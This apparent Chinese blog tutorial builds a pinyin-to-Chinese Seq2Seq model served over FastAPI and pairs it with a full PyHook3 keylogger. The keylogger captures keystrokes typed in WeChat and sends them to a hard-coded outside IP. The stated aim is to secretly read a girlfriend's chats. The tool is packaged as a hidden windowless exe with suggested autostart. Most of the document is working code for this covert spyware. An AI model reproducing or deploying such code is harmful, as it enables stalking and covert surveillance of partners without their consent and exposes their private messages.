发布时间:2024-06-11 09:01
效果
1、概要
利用深度学习模型Seq2Seq模型搭建拼音转中文模型,利用python键盘监控事件模块PyHook3监控女朋友的发送的拼音数据并发送给模型进行中文预测存储到本地日志中。
2、结构
使用咱们csdn的Centos云主机搭建,Seq2Seq模型训练一个拼音转中文的model,其实就类似于搜狗输入法的软件,通过键盘监听事件,监听特定的微信的服务窗口,获取你女朋友的聊天输入拼音数据存储到队列中,Monitor从队列获取拼音数据,发送HTTP/GET请求给云服务拼音转中文的模型接口API。
3、模型实现
模型我们搭建在Centos7云主机服务器中,运行环境安装python3.6.2,最好按照我的版本安装,否则可能后续安装会出现奇怪问题,安装python过程大家可自行百度很简单,这里就不过多详细安装python环境的过程,安装python后我们需要安装模型的运行环境,这里模型训练的tensorflow版本是 tensorflow-1.12.3,大家可以到pypi的官网下载指定版本的whl文件直接安装。安装前咱们需要更新一下pip3版本,否则安装过程会发生错误。其他依赖包我也不多说了,下面是其基本使用到的安装包依赖安装即可。
python 3.6.2
pip3 install --upgrade pip
pip3 install tensorflow-1.12.3-cp36-cp36m-manylinux1_x86_64.whl
pip install tqdm
pip install fastapi
pip install uvicorn==0.16.0
pip install xpinyin
pip install distance
模型搭建使用tensorflow实现,Seq2Seq拼音转汉字模型搭建使用开源的模型进行训练,详细的模型源码和介绍搭建可以进到github去看哦!训练数据使用zho_news_2007-2009_1M-sentences,训练过程指令如下,训练了大概十轮,训练了三天时间,预测结果如下:
zho_news_2007-2009_1M-sentences.txt
# 构建语料库
python3 build_corpus.py
# 预处理
python3 prepro.py
# 模型训练
python3 train.py
#For user input test
def main():
g = Graph(is_training=False)
# Load vocab
pnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()
with g.graph.as_default():
sv = tf.train.Supervisor()
with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:
# Restore parameters
sv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")
while True:
line = input("请输入测试拼音:")
if len(line) > hp.maxlen:
print('最长拼音不能超过50')
continue
x = load_test_string(pnyn2idx, line)
#print(x)
preds = sess.run(g.preds, {g.x: x})
#got = "".join(idx2hanzi[str(idx)] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")
got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")
print(got)
4、搭建Pinyin2Hanzi_API接口服务
将训练好的模型,使用fastapi搭建接口服务(在原有开源代码上修改的),并在云主机上将服务启动起来即可。
g = Graph(is_training=False)
# Load vocab
pnyn2idx, idx2pnyn, hanzi2idx, idx2hanzi = load_vocab()
with g.graph.as_default():
sv = tf.train.Supervisor()
with sv.managed_session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:
# Restore parameters
sv.saver.restore(sess, tf.train.latest_checkpoint(hp.logdir)); print("Restored!")
@app.get('/pinyin/{pinyin}')
def fcao_predict(pinyin: str = None):
if len(pinyin) > hp.maxlen:
return '最长拼音不能超过50'
x = load_test_string(pnyn2idx, pinyin)
preds = sess.run(g.preds, {g.x: x})
got = "".join(idx2hanzi[idx] for idx in preds[0])[:np.count_nonzero(x[0])].replace("_", "")
return {"code": 200, "msg": "success", "data": got}
if __name__ == '__main__':
# main(); print("Done")
uvicorn.run(app,host="0.0.0.0",port=8000)
云主机启动服务需要开放指定运行服务的端口号,指令如下,开放后我们使用nohup启动我们服务并将日志存储到我们log.log日志中。
# 打开防火墙
systemctl start firewalld
# 开放外部访问端口8000firewall-cmd --zone=public --add-port=8000/tcp --permanent
firewall-cmd --reload
# nohup启动服务
nohup python3 eval.py >> ./log/log.log 2>&1 &
5、监控程序实现
监控程序我们要做的就是当你女朋友打开微信和别人聊天输入的时候,监控程序获取到输入的拼音将拼音传入队列中,然后消费者去不断的获取队列输入的拼音信息给云主机模型发送http/get请求获取其中文预测结果存储到日志中。
# 封装get请求给云服务器
def sendPinyin(str):
res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))
return res.text
# 生产者
def Producer(pinyin):
q.put(pinyin)
print("目前队列有:%s" % q.qsize())
# 生产的越快,吃的越快
time.sleep(0.1)
# 消费者
def Consumer(name):
while True:
appendInfo(json.loads(sendPinyin(q.get()))['data'])
# 监听到键盘事件调用
def onKeyboardEvent(event):
global pinyin_str
if active_window_process_name() == "WeChat.exe":
str = event.Key.lower()
if str.isalpha() and len(str) == 1:
pinyin_str += str
if str == "return" or (str.isdigit() and len(str) == 1):
Producer(pinyin_str)
pinyin_str = ''
# appendInfo("\n")
return True
我们使用到队列的原因主要是为了防止pinyin2hanzi的模型响应不快的话影响执行结果,监控程序主要使用pyhook包,在安装前windos系统需要安装swig否则在编译pyhook时候会出现问题。
https://sourceforge.net/projects/swig/
安装swig配置环境变量,否则无法安装PyHook3
pip install PyHook3
6、打包程序
我们将运行程序打包成exe,偷偷运行起来,你也可以设置成windos开机自启动服务
pip install pyinstaller
pyinstaller -F -w 文件名.py
打包成功后会显示dist文件夹,文件夹中就是我们的主程序,只有一个exe文件,我们双击main程序后服务会启动,然后我们打开微信测试一下,会自动在该文件夹下生成log日志日志内容就是我们微信输入的聊天中文。
7、代码
# coding=utf-8
import PyHook3
import pythoncom
import win32gui, win32process, psutil
import requests
import queue
import threading
import time
import json
pinyin_str = ''
q = queue.Queue(maxsize=200)
# 获取当前打开的界面
def active_window_process_name():
try:
pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow())
return(psutil.Process(pid[-1]).name())
except:
pass
# 监听到鼠标事件调用
def onMouseEvent(event):
if (event.MessageName != "mouse move"): # 因为鼠标一动就会有很多mouse move,所以把这个过滤下
print(event.MessageName)
# print(active_window_process_name())
return True # 为True才会正常调用,如果为False的话,此次事件被拦截
# 监听到键盘事件调用
def onKeyboardEvent(event):
global pinyin_str
if active_window_process_name() == "WeChat.exe":
str = event.Key.lower()
if str.isalpha() and len(str) == 1:
pinyin_str += str
if str == "return" or (str.isdigit() and len(str) == 1):
Producer(pinyin_str)
pinyin_str = ''
# appendInfo("\n")
return True
# 生产者
def Producer(pinyin):
q.put(pinyin)
# print("目前队列有:%s" % q.qsize())
# 生产的越快,吃的越快
time.sleep(0.1)
# 消费者
def Consumer(name):
while True:
res = sendPinyin(q.get())
if "data" in res:
print(json.loads(res)['data'])
appendInfo(json.loads(res)['data'])
def sendPinyin(str):
res = requests.get(url="http://114.67.233.25:8000/pinyin/{}".format(str))
return res.text
# 将监听内容写入日志
def appendInfo(text):
with open('info.log', 'a', encoding='utf-8') as f:
f.write(text + " ")
def main():
# 创建管理器
hm = PyHook3.HookManager()
# 监听键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
# 循环监听
pythoncom.PumpMessages()
if __name__ == "__main__":
p = threading.Thread(target=main, args=())
c = threading.Thread(target=Consumer, args=("女朋友",))
p.start()
c.start()